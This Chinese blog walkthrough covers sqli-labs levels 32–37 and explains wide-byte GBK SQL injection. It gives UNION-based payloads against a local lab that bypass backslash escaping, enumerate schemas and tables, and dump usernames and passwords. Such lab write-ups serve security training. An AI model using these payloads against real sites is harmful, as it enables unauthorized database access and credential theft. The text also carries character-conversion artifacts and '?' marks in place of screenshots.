這六關(guān)都是關(guān)于寬字節(jié)注入的,分為GET
/POST
型,其實都一樣,只不過POST
要用一下burp
原理
mysql在使用GBK編碼的時候,會認(rèn)為兩個字符為一個漢字,例如%aa%5c就是一個漢字(前一個ascii碼大于128才能到漢字的范圍)。我們在過濾 ' 的時候,往往利用的思路是將 ' 轉(zhuǎn)換為 ' (轉(zhuǎn)換的函數(shù)可以自定義,也可以用PHP自帶函數(shù))。
因此我們在此想辦法將 ' 前面添加的除掉,一般有兩種思路:
1.%df吃掉具體的原因是urlencode(') = %5c%27,我們在%5c%27前面添加%df,形成%df%5c%27,而上面提到的mysql在GBK編碼方式的時候會將兩個字節(jié)當(dāng)做一個漢字,此時%df%5c就是一個漢字,%27則作為一個單獨的符號在外面,同時也就達(dá)到了我們的目的。
2.將'中的過濾掉,例如可以構(gòu)造 %**%5c%5c%27的情況,后面的%5c會被前面的%5c給注釋掉。這也是bypass的一種方法。
less-32
http://127.0.0.1/sqli-labs/Less-32/?id=-1%E6' union select 1,2,database() --+
?
less-33
http://127.0.0.1/sqli-labs/Less-33/?id=-1%E6' union select 1,2,database() --+
?
less-34
1、先判斷閉合方式
(1)、輸入uname=admin'&passwd=123456&submit=Submit
?
?
發(fā)現(xiàn)后臺為單引號加了一個反斜杠來轉(zhuǎn)義單引號。
(2)輸入?uname=admin%aa'&passwd=123456&submit=Submit
?
?
?根據(jù)錯誤回顯和提示,可以判斷閉合方式,并且構(gòu)造出閉合語句uname=111%aa'#&passwd=111&submit=Submit
2、判斷列數(shù)
(1)輸入uname=admin%aa' order by 2#&passwd=aaaaaa&submit=Submit
?
?
?正常顯示。
(2)輸入uname=admin%aa' order by 3#&passwd=aaaaaa&submit=Submit
?
?
?報錯,所以列數(shù)為兩列?
3、爆破
(1)查看顯示位
uname=admin%aa' union select 1,2#&passwd=aaaaaa&submit=Submit
?
?
?
?(2)爆庫
uname=admin%aa' union select 1,group_concat(schema_name) from information_schema.schemata#&passwd=aaaaaa&submit=Submit
?
?
?(3)爆表
uname=admin%aa' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#&passwd=aaaaaa&submit=Submit
?
?
(4)爆列
因為后臺代碼會轉(zhuǎn)義單引號,所以在爆列語句中使用十六進(jìn)制來表示表名
users的十六進(jìn)制:0x7573657273? security的十六進(jìn)制:0x7365637572697479
?
?(5)爆數(shù)據(jù)
uname=admin%aa' union select group_concat(username),group_concat(password) from users#&passwd=aaaaaa&submit=Submit
?
?
?less-35
http://127.0.0.1/sqli-labs/Less-35/?id=-1 union select 1,version(),database()--+
?
?
?less-36
http://127.0.0.1/sqli-labs/Less-36/?id=-1%E6' union select 1,2,database()--+
?
?
?less-37
和34關(guān)一樣,不再贅述
?
本文摘自 :https://www.cnblogs.com/